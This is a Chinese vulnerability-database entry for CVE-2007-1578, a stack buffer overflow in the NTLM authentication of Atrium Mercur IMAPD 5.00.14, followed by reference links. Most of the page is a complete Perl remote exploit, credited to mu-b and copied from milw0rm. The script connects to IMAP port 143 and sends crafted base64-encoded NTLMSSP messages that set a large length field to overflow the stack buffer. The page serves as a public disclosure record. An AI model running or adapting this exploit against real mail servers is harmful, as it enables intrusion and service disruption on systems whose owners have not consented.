Atrium Mercur IMapD NTLM 栈缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112497 漏洞类型 缓冲区溢出
发布时间 2007-03-20 更新时间 2007-05-01
CVE编号 CVE-2007-1578 CNNVD-ID CNNVD-200703-534
漏洞平台 Windows_x86 CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/3527
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-534
|漏洞详情
带有SP4的AtriumMERCURIMAPD(mcrimap4.exe)5.00.14中的NTLM执行工具存在多个整数署名错误。远程攻击者可以借助会触发栈缓冲区溢出的长NTLMSSP自变量,执行任意代码。
|漏洞EXP
#!/usr/bin/perl
#
# mercur-v1.pl
#
# Mercur v5.00.14 (win32) remote exploit
# by mu-b - Dec 2006
#
# - Tested on: Mercur v5.00.14 (win32)
#
########

use Getopt::Std; getopts('t:n:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 1;

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");

    $buf = "1 AUTHENTICATE NTLM\r\n";
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Sending payload\n");	

    # src = "NTLMSSP....."
    $buf = "NTLMSSP".("A"x100);
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    # memcpy(s, src+a, b);
    print("-> * Sending payload 2\n");
    $buf = "NTLMSSP".
           "\x69".
           "\x03\x00\x00\x00".
           "\xff\xff".         # b
           ("A"x2).
           "\x00\x00".         # a
           ("A"x2).
           "\x00\x00".
           ("A"x2).
           "\x00\x00".
           ("A"x2).
           "\x04\x00".
           ("A"x6).
           "\x00\x80".
           ("A"x6).
           "\x04\x00".
           ("A"x12);

    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("Mercur v5.00.14 (win32) remote exploit\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-03-20]
|参考资料

来源:XF
名称:mercur-imap-ntlm-bo(33120)
链接:http://xforce.iss.net/xforce/xfdb/33120
来源:BID
名称:23058
链接:http://www.securityfocus.com/bid/23058
来源:OSVDB
名称:33545
链接:http://www.osvdb.org/33545
来源:MILW0RM
名称:3527
链接:http://www.milw0rm.com/exploits/3527
来源:MISC
链接:http://www.digit-labs.org/files/exploits/mercur-v1.pl
来源:SECTRACK
名称:1017798
链接:http://securitytracker.com/id?1017798
来源:SECUNIA
名称:24596
链接:http://secunia.com/advisories/24596
来源:FULLDISC
名称:20070320MercurSP4IMAPD
链接:http://archives.neohapsis.com/archives/fulldisclosure/2007-03/0280.html
来源:VUPEN
名称:ADV-2007-1053
链接:http://www.frsirt.com/english/advisories/2007/1053